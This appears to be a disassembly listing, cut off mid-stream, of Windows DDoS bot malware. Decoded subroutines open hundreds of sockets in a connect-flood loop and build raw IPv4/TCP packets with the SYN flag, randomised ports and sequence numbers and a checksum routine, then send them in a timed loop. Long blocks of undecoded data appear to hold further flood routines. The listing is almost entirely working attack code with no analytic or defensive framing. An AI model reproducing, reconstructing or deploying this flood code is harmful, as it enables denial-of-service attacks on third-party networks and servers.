idiv ecx push ebx push dword ptr [esp+2Ch] lea eax, [edx+esi+100h] push eax push esi call sub_412B08 add esp, 20h test eax, eax jnz short loc_412E8E push 1 pop eax loc_412E8E: ; CODE XREF: ___:00412E89j cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- byte_412E9D db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+6721o dd 3BCEC81h, 56530000h, 5708458Bh, 0F08B686Ah, 44BD8D59h dd 6AFFFFFEh, 0FF685B01h, 6A000000h, 6AA5F303h, 9C988902h dd 0FF000001h, 4CB02415h, 0FFF88300h, 75FC4589h, 3815FF5Fh dd 50004CAFh, 0FC44858Dh, 5468FFFFh, 5000435Ch, 8995E8h dd 83FF3300h, 7D390CC4h, 572075DCh, 0FC44858Dh, 75FFFFFFh dd 858D50D8h, 0FFFFFF48h, 44B5FF50h, 0E8FFFFFEh, 0FFFF6B5Ah dd 8D14C483h, 0FFFC4485h, 85E850FFh, 0FF000022h, 0E3E8C875h dd 59FFFF84h, 0C9E85759h, 90022BD0h, 6AF44D8Dh, 0FF335104h dd 5057026Ah, 0FFF45D89h, 4CAF8415h db 0, 83h word_412F4E dw 0FFF8h ; DATA XREF: ___:off_43A1BCo dd 15FF5D75h, 4CAF38h, 44858D50h, 68FFFFFCh, 435C24h, 891CE850h dd 0C4830000h, 0DC7D390Ch, 8D572075h, 0FFFC4485h, 0D875FFFFh dd 48858D50h, 50FFFFFFh, 0FE44B5FFh, 0E3E8FFFFh, 83FFFF6Ah dd 858D14C4h, 0FFFFFC44h, 220EE850h, 75FF0000h, 846CE8C8h dd 5959FFFFh, 0D052E857h, 8D90022Bh, 0FFFE4885h, 15FF50FFh dd 4CAFE4h, 75FFF883h, 44858D55h, 68FFFFFCh, 435C04h, 88B4E850h dd 7D390000h, 755959DCh, 858D5720h, 0FFFFFC44h, 50D875FFh dd 0FF48858Dh, 0FF50FFFFh, 0FFFE44B5h, 6A7CE8FFh, 0C483FFFFh dd 44858D14h, 50FFFFFCh, 21A7E8h, 0C875FF00h, 0FF8405E8h dd 575959FFh, 0CFEAE890h, 106A022Bh, 57E4458Dh, 856EE850h dd 0C4830000h, 45C7660Ch, 570002E4h, 0AFA415FFh, 8966004Ch dd 858DE645h, 0FFFFFE48h, 0E415FF50h, 8B004CAFh, 4270A835h dd 0E8458900h, 0FF087D89h, 0F84589D6h, 452BD6FFh, 0B9D233F8h dd 3E8h, 453BF1F7h, 94870FD0h, 68000001h, 41Ch, 0DD1805C6h dd 0FF45004Ch, 4CAFA415h, 0D47D3900h, 0DD1AA366h, 8966004Ch dd 4CDD1C1Dh, 3D896600h, 4CDD1Eh, 0DD2005C6h, 8880004Ch dd 4CDD211Dh, 3D896600h, 4CDD22h, 33E83074h, 8B000088h dd 8E3C1D8h, 8829E8h, 0C1D80300h, 1FE808E3h, 3000088h dd 8E3C1D8h, 8815E8h, 6AD80300h, 241D8901h, 5B004CDDh dd 0B5FF18EBh, 0FFFFFE44h, 0FF7B2AE8h, 0FF5059FFh, 4CAFE415h dd 0DD24A300h, 458B004Ch, 0DD28A3E8h, 0E3E8004Ch, 99000087h dd 100B9h, 88F9F700h, 4CDD2C15h, 87D0E800h, 0B9990000h dd 100h, 1588F9F7h, 4CDD2Dh, 87BDE8h, 0F0B99900h, 68000000h dd 400h, 8966F9F7h, 4CDD2E3Dh, 1D896600h, 4CDD32h, 15896642h dd 4CDD30h, 8795E8h, 0FFB99900h, 0F7000000h, 346852F9h dd 0E8004CDDh, 8430h, 8D0CC483h, 106AE445h, 1C685750h dd 68000004h, 4CDD18h, 0FFFC75FFh, 4CB00815h, 0FFF88300h dd 45FF0874h, 0FECAE908h, 75FFFFFFh, 3C15FFFCh, 0FF004CB0h dd 4CAF3815h, 858D5000h, 0FFFFFE48h, 500875FFh, 435BBC68h dd 44858D00h, 68FFFFFCh, 200h, 87C6E850h, 0C4830000h, 0DC7D3918h dd 8D572075h, 0FFFC4485h, 0D875FFFFh, 48858D50h, 50FFFFFFh dd 0FE44B5FFh, 93E8FFFFh, 83FFFF68h, 858D14C4h, 0FFFFFC44h dd 1FBEE850h, 75FF0000h, 821CE8C8h, 5959FFFFh, 1E89057h dd 0FF022BCEh, 15FFFC75h, 4CB03Ch, 3308458Bh, 3CC06BD2h dd 0E8C1C88Bh, 0D075F70Ah, 5114E9C1h, 48858D50h, 0FFFFFFFEh dd 8D500875h, 0FFFEC885h, 858D50FFh, 0FFFFFC44h, 435B7068h dd 47E85000h, 83000086h, 7D391CC4h, 572075DCh, 0FC44858Dh dd 75FFFFFFh, 858D50D8h, 0FFFFFF48h, 44B5FF50h, 0E8FFFFFEh dd 0FFFF680Eh, 8D14C483h, 0FFFC4485h, 39E850FFh, 0FF00001Fh dd 97E8C875h, 59FFFF81h, 7DE85759h, 90022BCDh dword_413284 dd 0B8EC8B55h, 10320h, 888FE8h, 8458B00h, 6A575653h, 59F08B49h ; DATA XREF: sub_401ACD+550Fo dd 0FEBCBD8Dh, 0A5F3FFFFh, 895F016Ah, 120B8h, 2C15FF00h dd 89004CAFh, 858D0845h, 0FFFFFF40h, 0E415FF50h, 8B004CAFh dd 33DB33F0h, 0FFFE83C0h, 858D1175h, 0FFFFFF40h, 2815FF50h dd 3B004CB0h, 830674C3h, 75FF087Dh, 40858D5Dh, 50FFFFFFh dd 0FCBC858Dh, 0AC68FFFFh, 5000435Ch, 8589E8h, 0CC48300h dd 75D85D39h, 858D5320h, 0FFFFFCBCh, 50D475FFh, 0FEC0858Dh dd 0FF50FFFFh, 0FFFEBCB5h, 6750E8FFh, 0C483FFFFh, 0BC858D14h dd 50FFFFFCh, 1E7BE8h, 0D075FF00h, 0FF80D9E8h, 575959FFh dd 0CCBEE890h, 0C33B022Bh, 408B0C74h, 8B008B0Ch, 0FC458900h dd 758903EBh, 8D1C6AFCh, 5053E045h, 822FE8h, 0E84D8300h dd 0FFDCB8FFh, 0C4830000h, 0C445390Ch, 4589037Eh, 0C87D39C4h dd 7D89037Dh, 39F633C8h, 267EC05Dh, 8DC875FFh, 1C6AE045h dd 858D5350h, 0FFFEFCE0h, 50C475FFh, 0FFFC75FFh, 15FF0875h dd 4CAEBCh, 0C0753B46h, 75FFDA7Ch, 5C15FF08h, 8D004CB0h dd 0FFFF4085h, 858D50FFh, 0FFFFFCBCh, 435C8068h, 0BBE85000h dd 83000084h, 5D390CC4h, 532075D8h, 0FCBC858Dh, 75FFFFFFh dd 858D50D4h, 0FFFFFEC0h, 0BCB5FF50h, 0E8FFFFFEh, 0FFFF6682h dd 8D14C483h, 0FFFCBC85h, 0ADE850FFh, 0FF00001Dh, 0BE8D075h dd 59FFFF80h, 0E8905359h, 22BCBF0h dword_413410 dd 0B8EC8B55h, 10310h, 8703E8h, 8458B00h, 6A575653h, 59F08B49h ; DATA XREF: sub_401ACD+575Bo dd 0FECCBD8Dh, 0A5F3FFFFh, 895E016Ah, 120B0h, 0A9E89000h dd 500226D4h, 8493E8h, 116A5900h, 26A026Ah, 0B02415FFh dd 0D88B004Ch, 106AFF33h, 57F0458Dh, 812EE850h, 0C4830000h dd 50858D0Ch, 66FFFFFFh, 2F045C7h, 15FF5000h, 4CAFE4h dd 89FFF883h, 75750845h, 0FF50858Dh, 0FF50FFFFh, 4CB02815h dd 75C73B00h, 50858D5Dh, 50FFFFFFh, 0FCCC858Dh, 68FFFFh dd 5000435Dh, 83DDE8h, 0CC48300h, 75E87D39h, 858D5720h dd 0FFFFFCCCh, 50E475FFh, 0FED0858Dh, 0FF50FFFFh, 0FFFECCB5h dd 65A4E8FFh, 0C483FFFFh, 0CC858D14h, 50FFFFFCh, 1CCFE8h dd 0E075FF00h, 0FF7F2DE8h, 565959FFh, 0CB12E890h, 408B022Bh dd 0EB008B0Ch, 8458D03h, 7D39008Bh, 0F44589DCh, 0DBE81175h dd 99000083h, 0FFDCB9h, 42F9F700h, 0FF03EB52h, 15FFDC75h dd 4CAFA4h, 66DC7539h, 7DF24589h, 0DC758903h, 0FFFFB8h dd 0DC453900h, 4589037Eh, 0D0458BDCh, 59990A6Ah, 7D39F9F7h dd 0D04589D8h, 75890375h, 39F633D8h, 1A7ED47Dh, 838DE8h dd 0FFB99900h, 0F7000000h, 753B46F9h, 359488D4h, 0FFFEFCEFh dd 458BE67Ch, 0D04DFFD0h, 557EC085h, 8D5E0B6Ah, 106AF045h dd 5FE85750h, 6A000083h, 0F759990Ah, 0D4458BF9h, 8D50C22Bh dd 0FEFCF085h, 0FF5350FFh, 4CB00815h, 0D875FF00h, 0CA5AE890h dd 754E0225h, 0DC7D39CEh, 2FE8BC75h, 99000083h, 0FFDCB9h dd 42F9F700h, 0A415FF52h, 66004CAFh, 0EBF24589h, 50858DA1h dd 50FFFFFFh, 0FCCC858Dh, 0D468FFFFh, 5000435Ch, 82A5E8h dd 0CC48300h, 75E87D39h, 858D5720h, 0FFFFFCCCh, 50E475FFh dd 0FED0858Dh, 0FF50FFFFh, 0FFFECCB5h, 646CE8FFh, 0C483FFFFh dd 0CC858D14h, 50FFFFFCh, 1B97E8h, 0E075FF00h, 0FF7DF5E8h dd 575959FFh, 0C9DAE890h db 2Bh, 2 word_413626 dw 8B55h ; DATA XREF: sub_401ACD+4DECo dd 14EC81ECh, 8B000004h, 57560845h, 85B9h, 8DF08B00h, 0FFFDECBDh dd 0C7A5F3FFh, 21080h, 100h, 0F0858D00h, 50FFFFFEh, 0FE70858Dh dd 8D50FFFFh, 0FFFDF085h, 20E850FFh, 83000001h, 8D500CC4h dd 0FFFBEC85h, 5D2868FFh, 0E8500043h, 820Ah, 0C483F633h dd 0F875390Ch, 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h dd 50FFFFFFh, 0FDECB5FFh, 0CFE8FFFFh, 83FFFF63h, 858D14C4h dd 0FFFFFBECh, 1AFAE850h, 75FF0000h, 7D58E8F0h, 5959FFFFh dd 0C93EE856h, 5F90022Bh ; --------------------------------------------------------------------------- pop esi ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4136C5 proc near ; CODE XREF: ___:004137AEp var_654 = byte ptr -654h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 654h push 10h lea eax, [ebp+var_14] push 0 push eax call sub_41B590 add esp, 0Ch mov [ebp+var_14], 2 push [ebp+arg_4] call dword_4CAFA4 mov [ebp+var_12], ax mov eax, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_8] test eax, eax mov [ebp+var_4], 1 jle short loc_413783 push ebx push esi push edi mov [ebp+arg_4], eax mov edi, 190h loc_413710: ; CODE XREF: sub_4136C5+B9j lea esi, [ebp+var_654] mov ebx, edi loc_413718: ; CODE XREF: sub_4136C5+7Aj push 0 push 1 push 2 nop call near ptr 71AB3C22h cmp eax, 0FFFFFFFFh mov [esi], eax jz short loc_41373B lea ecx, [ebp+var_4] push ecx push 8004667Eh push eax call near ptr 71AB155Ah nop loc_41373B: ; CODE XREF: sub_4136C5+64j add esi, 4 dec ebx jnz short loc_413718 lea esi, [ebp+var_654] mov ebx, edi loc_413749: ; CODE XREF: sub_4136C5+96j lea eax, [ebp+var_14] push 10h push eax push dword ptr [esi] nop call near ptr 71AB3E5Dh add esi, 4 dec ebx jnz short loc_413749 push 64h nop call near ptr 2670000h lea esi, [ebp+var_654] mov ebx, edi loc_41376D: ; CODE XREF: sub_4136C5+B4j push dword ptr [esi] nop call near ptr 71AB1A6Dh add esi, 4 dec ebx jnz short loc_41376D dec [ebp+arg_4] jnz short loc_413710 pop edi pop esi pop ebx loc_413783: ; CODE XREF: sub_4136C5+3Ej xor eax, eax leave retn sub_4136C5 endp ; --------------------------------------------------------------------------- push ebx push esi push edi push dword ptr [esp+10h] call sub_40AAF9 push dword ptr [esp+18h] mov edi, eax call sub_41B779 push dword ptr [esp+20h] mov ebx, eax call sub_41B779 mov esi, eax push esi push ebx push edi call sub_4136C5 add esp, 18h test eax, eax jnz short loc_4137BD push 1 pop eax loc_4137BD: ; CODE XREF: ___:004137B8j cdq mov ecx, 3E8h pop edi idiv ecx cdq idiv esi pop esi pop ebx retn ; --------------------------------------------------------------------------- dword_4137CC dd 81EC8B55h, 414ECh, 8458B00h, 85B95756h, 8B000000h, 0ECBD8DF0h ; DATA XREF: sub_401ACD+6449o dd 0F3FFFFFDh, 1080C7A5h, 1000002h, 8D000000h, 0FFFEF085h dd 858D50FFh, 0FFFFFE70h, 0F0858D50h, 50FFFFFDh, 310E8h dd 0CC48300h, 0EC858D50h, 68FFFFFBh, 435D54h, 8064E850h dd 0F6330000h, 390CC483h, 2075F875h, 0EC858D56h, 0FFFFFFFBh dd 8D50F475h, 0FFFF7085h, 0B5FF50FFh, 0FFFFFDECh, 0FF6229E8h dd 14C483FFh, 0FBEC858Dh, 0E850FFFFh, 1954h, 0E8F075FFh dd 0FFFF7BB2h, 90565959h, 2BC797E8h ; --------------------------------------------------------------------------- add bl, [edi+5Eh] ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41386B proc near ; CODE XREF: ___:00413B59p var_284 = byte ptr -284h var_F4 = byte ptr -0F4h var_B4 = byte ptr -0B4h var_B3 = byte ptr -0B3h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_8C = byte ptr -8Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = byte ptr -70h var_6F = byte ptr -6Fh var_6E = word ptr -6Eh var_58 = dword ptr -58h var_50 = word ptr -50h var_4E = word ptr -4Eh var_4C = dword ptr -4Ch var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = word ptr -34h var_32 = word ptr -32h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = byte ptr -28h var_27 = byte ptr -27h var_26 = word ptr -26h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = byte ptr -20h var_1E = word ptr -1Eh var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 284h push ebx push edi push 0Eh xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp+var_B3] mov [ebp+var_B4], bl rep stosd stosw stosb lea eax, [ebp+var_284] push eax push 202h call dword_4CAF14 test eax, eax jz short loc_4138AB xor eax, eax jmp loc_413B19 ; --------------------------------------------------------------------------- loc_4138AB: ; CODE XREF: sub_41386B+37j push 1 pop edi push edi push ebx push ebx push 0FFh push 3 push 2 call dword_4CB048 cmp eax, 0FFFFFFFFh mov [ebp+var_C], eax jz loc_413B11 push esi lea ecx, [ebp+var_38] push 4 push ecx push 2 push ebx push eax mov [ebp+var_38], edi call dword_4CAF84 cmp eax, 0FFFFFFFFh jz loc_413B07 push 10h lea eax, [ebp+var_50] push ebx push eax call sub_41B590 add esp, 0Ch mov [ebp+var_50], 2 push [ebp+arg_8] call dword_4CAFA4 mov esi, [ebp+arg_0] push 28h mov [ebp+var_4E], ax mov [ebp+var_4C], esi mov [ebp+var_20], 45h call dword_4CAFA4 push [ebp+arg_8] mov [ebp+var_1E], ax mov [ebp+var_1C], di mov [ebp+var_1A], bx mov [ebp+var_18], 80h mov [ebp+var_17], 6 mov [ebp+var_16], bx mov [ebp+var_10], esi call dword_4CAFA4 push 4000h mov [ebp+var_32], ax mov [ebp+var_2C], ebx mov [ebp+var_28], 50h mov [ebp+var_27], 2 call dword_4CAFA4 mov [ebp+var_26], ax lea eax, [ebp+var_40] push eax mov [ebp+var_22], bx mov [ebp+arg_8], ebx nop call near ptr 2780B3Fh lea eax, [ebp+var_8] push eax nop call near ptr 27807EAh push [ebp+var_3C] mov eax, [ebp+arg_C] cdq push [ebp+var_40] push edx push eax call sub_41D280 add eax, [ebp+var_8] mov esi, edx adc esi, [ebp+var_4] mov [ebp+var_58], eax loc_413996: ; CODE XREF: sub_41386B+25Dj ; sub_41386B+26Bj mov [ebp+var_24], bx call sub_41B8E2 cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call dword_4CAFA4 mov [ebp+var_34], ax call sub_41B8E2 mov edi, eax shl edi, 10h call sub_41B8E2 or edi, eax push edi call dword_4CAFA4 movzx eax, ax mov [ebp+var_30], eax mov eax, [ebp+arg_4] inc [ebp+arg_4] push eax call dword_4CAFA0 push 14h mov [ebp+var_14], eax mov eax, [ebp+var_10] pop edi push edi mov [ebp+var_74], eax mov [ebp+var_70], bl mov [ebp+var_6F], 6 call dword_4CAFA4 mov [ebp+var_6E], ax mov eax, [ebp+var_14] mov [ebp+var_78], eax lea eax, [ebp+var_78] push 20h push eax lea eax, [ebp+var_B4] push eax call sub_41C310 lea eax, [ebp+var_34] push edi push eax lea eax, [ebp+var_94] push eax call sub_41C310 lea eax, [ebp+var_B4] push 34h push eax call sub_40AC68 mov [ebp+var_24], ax lea eax, [ebp+var_20] push edi push eax lea eax, [ebp+var_B4] push eax call sub_41C310 lea eax, [ebp+var_34] push edi push eax lea eax, [ebp+var_A0] push eax call sub_41C310 push 4 lea eax, [ebp+var_8C] push ebx push eax call sub_41B590 add esp, 44h lea eax, [ebp+var_B4] push 28h push eax call sub_40AC68 mov [ebp+var_16], ax lea eax, [ebp+var_20] push edi push eax lea eax, [ebp+var_B4] push eax call sub_41C310 add esp, 14h lea eax, [ebp+var_50] push 10h push eax push ebx lea eax, [ebp+var_B4] push 28h push eax push [ebp+var_C] call dword_4CB008 cmp eax, 0FFFFFFFFh jz short loc_413ADB add [ebp+arg_8], eax lea eax, [ebp+var_8] push eax nop call near ptr 27807EAh mov eax, [ebp+var_4] cmp eax, esi jg short loc_413B04 jl loc_413996 mov eax, [ebp+var_8] cmp eax, [ebp+var_58] jnb short loc_413B04 jmp loc_413996 ; --------------------------------------------------------------------------- loc_413ADB: ; CODE XREF: sub_41386B+247j call dword_4CAF38 push eax lea eax, [ebp+var_F4] push offset dword_435D7C push eax call sub_41B886 lea eax, [ebp+var_F4] push eax call sub_4151AC add esp, 10h jmp short loc_413B07 ; --------------------------------------------------------------------------- loc_413B04: ; CODE XREF: sub_41386B+25Bj ; sub_41386B+269j mov ebx, [ebp+arg_8] loc_413B07: ; CODE XREF: sub_41386B+78j ; sub_41386B+297j push [ebp+var_C] call dword_4CB03C pop esi loc_413B11: ; CODE XREF: sub_41386B+5Bj call dword_4CAEFC mov eax, ebx loc_413B19: ; CODE XREF: sub_41386B+3Bj pop edi pop ebx leave retn sub_41386B endp ; --------------------------------------------------------------------------- push ebx push esi push edi push dword ptr [esp+10h] call sub_40AAF9 push dword ptr [esp+18h] mov esi, eax call sub_41B779 push dword ptr [esp+20h] mov ebx, eax call sub_41B779 mov edi, eax call sub_41B8E2 cdq mov ecx, 200h push edi idiv ecx push ebx lea eax, [edx+esi+100h] push eax push esi call sub_41386B add esp, 1Ch test eax, eax jnz short loc_413B68 push 1 pop eax loc_413B68: ; CODE XREF: ___:00413B63j cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- byte_413B77 db 55h ; DATA XREF: sub_401ACD+6E44o dd 0EC81EC8Bh, 394h, 5608458Bh, 59656A57h, 0BD8DF08Bh dd 0FFFFFE6Ch, 80C7A5F3h, 190h, 1, 0FEF0858Dh, 0E850FFFFh dd 7BD1h, 858D5059h, 0FFFFFE70h, 0E415FF50h, 50004CAFh dd 5DE8h, 50595900h, 0FC6C858Dh, 9C68FFFFh, 5000435Dh dd 7CB5E8h, 83F63300h, 75390CC4h, 562075F8h, 0FC6C858Dh dd 75FFFFFFh, 858D50F4h, 0FFFFFF70h, 6CB5FF50h, 0E8FFFFFEh dd 0FFFF5E7Ah, 8D14C483h, 0FFFC6C85h, 0A5E850FFh, 0FF000015h dd 3E8F075h, 59FFFF78h, 0E9E85659h, 90022BC3h, 8B555E5Fh dd 98EC81ECh, 53000000h, 16A5756h, 78A58359h, 0FFFFFFh dd 6583046Ah, 0BB5E00A8h, 0FFh, 0C033066Ah, 0AC7D8D5Ah dd 0FF7C8D89h, 45C7FFFFh, 280h, 84758900h, 0C7885589h dd 88C45h, 45C70000h, 0C90h, 9445C700h, 11h, 169845C7h dd 0C7000000h, 299C45h, 45C70000h, 3AA0h, 0A45D8900h, 0ABB04589h dd 89D47D8Dh, 4589B445h, 0BC45C7B8h, 2000h, 89C07589h dd 45C7C455h, 3FFFC8h, 0CC4D8900h, 89D04589h, 0BFABD84Dh dd 100h, 930BE857h, 89590000h, 5057FC45h, 0AFB815FFh, 75FF004Ch dd 2815FFFCh, 8B004CB0h, 6A530C40h, 8B026A03h, 89008B00h dd 15FFF445h, 4CB024h, 56D84D8Dh, 6A026A51h, 45895000h dd 8415FFFCh, 0BE004CAFh, 200h, 77D3E856h, 3D8B0000h, 4270A8h dd 0F8458959h, 4589D7FFh, 8458BF0h, 29A68h, 6C858900h dd 66FFFFFFh, 0FF6885C7h, 2FFFFh, 0AFA415FFh, 8966004Ch dd 0FFFF6A85h, 2BD7FFFFh, 0D233F045h, 3E8B9h, 3BF1F700h dd 870F0C45h, 0CFh, 7B91E8h, 0CB8B9900h, 458BF9F7h, 0FFFF25F4h dd 0E2C100FFh, 89D00B18h, 77E8F455h, 9900007Bh, 0F9F7CB8Bh dd 0E8AC5589h, 7B6Ah, 1FA4B999h, 45C60000h, 0F9F745DCh dd 4DD45C6h, 0E8D45589h, 7B52h, 0E0458966h, 7B49E8h, 990A6A00h dd 66F9F759h, 0B095448Bh, 0A415FF50h, 56004CAFh, 0E2458966h dd 0AFA415FFh, 8966004Ch, 5D88DE45h, 7B20E8E4h, 0E6A0000h dd 0F9F75999h, 848A146Ah, 0FFFF7895h, 0E54588FFh, 89F4458Bh dd 458BE845h, 0EC458908h, 50DC458Dh, 0FF6E7FE8h, 458966FFh dd 0DC458DE6h, 0FF50146Ah, 15E8F875h, 83000085h, 858D14C4h dd 0FFFFFF68h, 6A50106Ah, 75FF5600h, 0FC75FFF8h, 0B00815FFh dd 1AE9004Ch, 0FFFFFFFFh, 8EE8F875h, 59000072h, 0FFFC75FFh dd 4CB03C15h, 58016A00h, 0C95B5E5Fh ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- byte_413E35 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+53E8o dd 440EC81h, 458B0000h, 57565308h, 0F08B686Ah, 0C0BD8D59h dd 0F3FFFFFDh, 33016AA5h, 0BD8D5EDBh, 0FFFFFF61h, 0B0890E6Ah dd 19Ch, 88C03359h, 0FFFF609Dh, 66ABF3FFh, 3D8BAAABh, 4270A8h dd 0E850D7FFh, 7A58h, 0FF6859h, 36A0000h, 15FF026Ah, 4CB024h dd 89FFF883h, 6675FC45h, 0AF3815FFh, 8D50004Ch, 0FFFBC085h dd 5EB468FFh, 0E8500043h, 79D6h, 390CC483h, 0FFFF589Dh dd 532375FFh, 0FBC0858Dh, 0B5FFFFFFh, 0FFFFFF54h, 0C4858D50h dd 50FFFFFEh, 0FDC0B5FFh, 97E8FFFFh, 83FFFF5Bh, 858D14C4h dd 0FFFFFBC0h, 12C2E850h, 0B5FF0000h, 0FFFFFF44h, 0FF751DE8h dd 535959FFh, 0C102E890h, 4D8D022Bh, 51046ACCh, 5053026Ah dd 0FFCC7589h, 4CAF8415h, 0FFF88300h, 15FF6675h, 4CAF38h dd 0C0858D50h, 68FFFFFBh, 435E7Ch, 7958E850h, 0C4830000h dd 589D390Ch, 75FFFFFFh, 858D5323h, 0FFFFFBC0h, 0FF54B5FFh dd 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh, 0FFFFFDC0h, 0FF5B19E8h dd 14C483FFh, 0FBC0858Dh, 0E850FFFFh, 1244h, 0FF44B5FFh dd 9FE8FFFFh, 59FFFF74h, 0E8905359h, 22BC084h, 0FDC4858Dh dd 0FF50FFFFh, 4CAFE415h, 0FFF88300h, 858D5E75h, 0FFFFFBC0h dd 435E5C68h, 0E7E85000h, 39000078h, 0FFFF589Dh, 755959FFh dd 858D5323h, 0FFFFFBC0h, 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h dd 0B5FF50FFh, 0FFFFFDC0h, 0FF5AA9E8h, 14C483FFh, 0FBC0858Dh dd 0E850FFFFh, 11D4h, 0FF44B5FFh, 2FE8FFFFh, 59FFFF74h dd 15E85359h, 90022BC0h, 458D106Ah, 0E85053BCh, 7598h dd 660CC483h, 2BC45C7h, 15FF5300h, 4CAFA4h, 0BE458966h dd 0FDC4858Dh, 0FF50FFFFh, 4CAFE415h, 0C0458900h, 0FF085D89h dd 0D04589D7h, 452BD7FFh, 0B9D233D0h, 3E8h, 853BF1F7h dd 0FFFFFF4Ch, 2AA870Fh, 286A0000h, 45D445C6h, 0AFA415FFh dd 9D39004Ch, 0FFFFFF50h, 0D6458966h, 0D8758966h, 0DA5D8966h dd 80DC45C6h, 6DD45C6h, 0DE5D8966h, 73E82D74h, 8B000078h dd 8E6C1F0h, 7869E8h, 0C1F00300h, 5FE808E6h, 3000078h dd 8E6C1F0h, 7855E8h, 6AF00300h, 0E0758901h, 0FF16EB5Eh dd 0FFFDC0B5h, 6B6DE8FFh, 5059FFFFh, 0AFE415FFh, 4589004Ch dd 0C0458BE0h, 0FF489D39h, 4589FFFFh, 0E81075E4h, 7822h dd 401B999h, 0F9F70000h, 0FF06EB52h, 0FFFF48B5h, 0A415FFFFh dd 66004CAFh, 0E8EA4589h, 7802h, 401B999h, 0F9F70000h dd 0A415FF52h, 68004CAFh, 12345678h, 0E8458966h, 0AFA015FFh dd 4589004Ch, 44858DECh, 68FFFFFEh, 42ABB0h, 77EEE850h dd 85590000h, 97459C0h, 0C6F05D89h, 0EB02F545h, 44858D5Ch dd 68FFFFFEh, 42A9E8h, 77CEE850h, 85590000h, 97459C0h dd 0C6F05D89h, 0EB10F545h, 44858D3Ch, 68FFFFFEh, 42A9E0h dd 77AEE850h, 85590000h, 257459C0h, 7785E8h, 99036A00h dd 89F9F759h, 77E8F055h, 6A000077h, 0F7599902h, 1ADAF7F9h dd 0EE280D2h, 5588D102h, 20068F5h, 45C60000h, 15FF50F4h dd 4CAFA4h, 0F6458966h, 89E0458Bh, 458B9C45h, 66146AE4h dd 66FA5D89h, 89F85D89h, 5D88A045h, 0A545C6A4h, 0A415FF06h dd 66004CAFh, 8DA64589h, 206A9C45h, 60858D50h, 50FFFFFFh dd 8147E8h, 0E8458D00h, 8D50146Ah, 0E8508045h, 8138h, 0FF60858Dh dd 346AFFFFh, 6A82E850h, 8966FFFFh, 458DF845h, 50146AD4h dd 0FF60858Dh, 0E850FFFFh, 8114h, 6AE8458Dh, 858D5014h dd 0FFFFFF74h, 8102E850h, 46A0000h, 5388458Dh, 7376E850h dd 0C4830000h, 60858D44h, 6AFFFFFFh, 3DE85028h, 66FFFF6Ah dd 8DDE4589h, 146AD445h, 60858D50h, 50FFFFFFh, 80CFE8h dd 14C48300h, 6ABC458Dh, 8D535010h, 0FFFF6085h, 503C6AFFh dd 0FFFC75FFh, 4CB00815h, 0FFF88300h, 45FF0874h, 0FDBAE908h dd 75FFFFFFh, 3C15FFFCh, 0FF004CB0h, 4CAF3815h, 858D5000h dd 0FFFFFDC4h, 500875FFh, 435E0C68h, 0C0858D00h, 68FFFFFBh dd 200h, 76E6E850h, 0C4830000h, 589D3918h, 75FFFFFFh, 858D5323h dd 0FFFFFBC0h, 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh dd 0FFFFFDC0h, 0FF57ADE8h, 14C483FFh, 0FBC0858Dh, 0E850FFFFh dd 0ED8h, 0FF44B5FFh, 33E8FFFFh, 59FFFF71h, 0E8905359h dd 22BBD18h, 0FFFC75FFh, 4CB03C15h, 8458B00h, 0C06BD233h dd 0C1C88B3Ch, 0B5F70AE8h, 0FFFFFF4Ch, 5114E9C1h, 0C4858D50h dd 0FFFFFFFDh, 8D500875h, 0FFFE4485h, 858D50FFh, 0FFFFFBC0h dd 435DBC68h, 5BE85000h, 83000075h, 9D391CC4h, 0FFFFFF58h dd 8D532375h, 0FFFBC085h, 54B5FFFFh, 50FFFFFFh, 0FEC4858Dh dd 0FF50FFFFh, 0FFFDC0B5h, 571CE8FFh, 0C483FFFFh, 0C0858D14h dd 50FFFFFBh, 0E47E8h, 44B5FF00h, 0E8FFFFFFh, 0FFFF70A2h dd 90535959h, 2BBC87E8h db 2 ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, [ebp+0Ch] mov edx, [ebp+8] push esi xor esi, esi cmp eax, 1 mov [ebp+0Ch], esi jle short loc_4143A5 mov ecx, eax push edi shr ecx, 1 lea edi, [ecx+ecx] sub eax, edi loc_414397: ; CODE XREF: ___:0041439Fj movzx edi, word ptr [edx] add esi, edi inc edx inc edx dec ecx jnz short loc_414397 pop edi cmp eax, 1 loc_4143A5: ; CODE XREF: ___:0041438Bj jnz short loc_4143B2 mov al, [edx] mov [ebp+0Ch], al movzx eax, word ptr [ebp+0Ch] add esi, eax loc_4143B2: ; CODE XREF: ___:loc_4143A5j mov ecx, esi and esi, 0FFFFh sar ecx, 10h add ecx, esi pop esi mov eax, ecx sar eax, 10h add eax, ecx not eax pop ebp retn ; --------------------------------------------------------------------------- byte_4143CB db 55h ; DATA XREF: sub_401ACD+6D49o dd 0EC81EC8Bh, 394h, 5608458Bh, 59656A57h, 